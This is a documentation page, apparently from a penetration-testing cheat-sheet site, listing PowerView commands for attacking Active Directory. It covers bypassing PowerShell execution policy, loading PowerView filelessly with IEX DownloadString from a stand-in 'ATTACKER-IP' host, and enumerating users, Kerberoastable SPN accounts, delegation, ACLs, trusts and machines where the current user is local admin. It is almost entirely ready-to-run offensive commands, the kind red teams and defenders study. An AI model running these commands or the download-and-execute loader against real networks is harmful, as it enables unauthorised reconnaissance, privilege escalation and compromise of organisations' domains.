> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Enumeration with PowerView

> Active Directory enumeration techniques using PowerView: domain, users, groups, GPOs, ACLs, trusts, and privilege escalation paths.

## PowerShell Execution Policy Bypass

Allows running unsigned PowerShell scripts in the current process.

```powershell theme={"dark"}
powershell -ep bypass
```

Start a new PowerShell without profile restrictions.

```powershell theme={"dark"}
powershell.exe -ExecutionPolicy Bypass -NoProfile
```

Execute PowerView in memory (fileless execution).

```powershell theme={"dark"}
powershell -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/PowerView.ps1')"
```

***

## Loading PowerView

Start a temporary HTTP server on the attacker machine.

```powershell theme={"dark"}
python3 -m http.server 80
```

Load PowerView directly into memory.

```powershell theme={"dark"}
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/PowerView.ps1')
```

Download the script locally.

```powershell theme={"dark"}
Invoke-WebRequest http://ATTACKER-IP/PowerView.ps1 -OutFile PowerView.ps1
```

Import the module.

```powershell theme={"dark"}
Import-Module .\PowerView.ps1
```

Check available command names.

```powershell theme={"dark"}
Get-Command *Domain*
```

```powershell theme={"dark"}
Get-Command *Net*
```

***

## Domain Enumeration

Get general domain information.

```powershell theme={"dark"}
Get-Domain
```

Retrieve the domain SID.

```powershell theme={"dark"}
Get-DomainSID
```

List domain policies.

```powershell theme={"dark"}
Get-DomainPolicy
```

Show password & lockout policy.

```powershell theme={"dark"}
(Get-DomainPolicy)."SystemAccess"
```

Show Kerberos configuration.

```powershell theme={"dark"}
(Get-DomainPolicy)."KerberosPolicy"
```

List domain controllers.

```powershell theme={"dark"}
Get-DomainController
```

**Legacy (old PowerView)**

Get general domain information.

```powershell theme={"dark"}
Get-NetDomain
```

Retrieve the domain SID.

```powershell theme={"dark"}
Get-NetDomainSID
```

List domain policies.

```powershell theme={"dark"}
Get-NetDomainPolicy
```

List domain controllers.

```powershell theme={"dark"}
Get-NetDomainController
```

***

## User Enumeration

List domain users.

```powershell theme={"dark"}
Get-DomainUser
```

Detailed information about a user.

```powershell theme={"dark"}
Get-DomainUser -Identity <user> -Properties *
```

Find Kerberoastable accounts (SPN users).

```powershell theme={"dark"}
Get-DomainUser -SPN
```

Identify privileged/protected accounts.

```powershell theme={"dark"}
Get-DomainUser -AdminCount
```

Accounts trusted for delegation.

```powershell theme={"dark"}
Get-DomainUser -TrustedToAuth
```

Check logged-on users on a machine.

```powershell theme={"dark"}
Get-NetLoggedon -ComputerName <computer>
```

**Legacy (old PowerView)**

List domain users.

```powershell theme={"dark"}
Get-NetUser
```

Get specific user information.

```powershell theme={"dark"}
Get-NetUser -UserName <user>
```

Find Kerberoastable accounts.

```powershell theme={"dark"}
Get-NetUser -SPN
```

Find privileged accounts.

```powershell theme={"dark"}
Get-NetUser -AdminCount
```

***

## Computer Enumeration

List domain computers.

```powershell theme={"dark"}
Get-DomainComputer
```

Find servers only.

```powershell theme={"dark"}
Get-DomainComputer -OperatingSystem "*Server*"
```

Last logged-on user of a machine.

```powershell theme={"dark"}
Get-LastLoggedOn -ComputerName <computer>
```

**Legacy (old PowerView)**

List domain computers.

```powershell theme={"dark"}
Get-NetComputer
```

Find servers only.

```powershell theme={"dark"}
Get-NetComputer -OperatingSystem "*Server*"
```

***

## Group Enumeration

List domain groups.

```powershell theme={"dark"}
Get-DomainGroup
```

Find administrative groups.

```powershell theme={"dark"}
Get-DomainGroup *admin*
```

List group members.

```powershell theme={"dark"}
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
```

Find groups a user belongs to.

```powershell theme={"dark"}
Get-DomainGroup -UserName <user>
```

**Legacy (old PowerView)**

List domain groups.

```powershell theme={"dark"}
Get-NetGroup
```

List members of a group.

```powershell theme={"dark"}
Get-NetGroupMember -GroupName "Domain Admins"
```

***

## Share Enumeration

Find domain shares.

```powershell theme={"dark"}
Find-DomainShare
```

Find accessible shares.

```powershell theme={"dark"}
Find-DomainShare -CheckShareAccess
```

**Legacy (old PowerView)**

Find network shares.

```powershell theme={"dark"}
Invoke-ShareFinder
```

Locate file servers in the domain.

```powershell theme={"dark"}
Get-NetFileServer
```

***

## GPO Enumeration

List Group Policy Objects.

```powershell theme={"dark"}
Get-DomainGPO
```

GPO applied to a computer.

```powershell theme={"dark"}
Get-DomainGPO -ComputerName <computer>
```

Machines where GPO grants admin rights.

```powershell theme={"dark"}
Find-GPOComputerAdmin -ComputerName <computer>
```

Where a user has admin rights via GPO.

```powershell theme={"dark"}
Find-GPOLocation -Identity <user>
```

**Legacy (old PowerView)**

List Group Policy Objects.

```powershell theme={"dark"}
Get-NetGPO
```

***

## OU Enumeration

List organizational units.

```powershell theme={"dark"}
Get-DomainOU
```

**Legacy (old PowerView)**

List organizational units.

```powershell theme={"dark"}
Get-NetOU
```

***

## ACL Enumeration

View permissions on AD objects.

```powershell theme={"dark"}
Get-DomainObjectAcl -Identity <object> -ResolveGUIDs
```

Find privilege escalation paths.

```powershell theme={"dark"}
Invoke-ACLScanner -ResolveGUIDs
```

**Legacy (old PowerView)**

View permissions on AD objects.

```powershell theme={"dark"}
Get-ObjectAcl -SamAccountName <object>
```

***

## Trust Enumeration

Enumerate domain trusts.

```powershell theme={"dark"}
Get-DomainTrust
```

Map trust relationships.

```powershell theme={"dark"}
Get-DomainTrustMapping
```

**Legacy (old PowerView)**

Enumerate domain trusts.

```powershell theme={"dark"}
Get-NetDomainTrust
```

***

## Forest Enumeration

Get forest information.

```powershell theme={"dark"}
Get-Forest
```

List forest domains.

```powershell theme={"dark"}
Get-ForestDomain
```

List global catalog servers.

```powershell theme={"dark"}
Get-ForestGlobalCatalog
```

**Legacy (old PowerView)**

Get forest information.

```powershell theme={"dark"}
Get-NetForest
```

List forest domains.

```powershell theme={"dark"}
Get-NetForestDomain
```

***

## Privilege Escalation

Find machines where current user is local admin.

```powershell theme={"dark"}
Find-LocalAdminAccess
```

Find privileged sessions.

```powershell theme={"dark"}
Invoke-UserHunter
```

Enumerate local administrators across domain.

```powershell theme={"dark"}
Invoke-EnumerateLocalAdmin
```

Find unconstrained delegation systems.

```powershell theme={"dark"}
Get-DomainComputer -Unconstrained
```

**Legacy (old PowerView)**

Find unconstrained delegation systems.

```powershell theme={"dark"}
Get-NetComputer -Unconstrained
```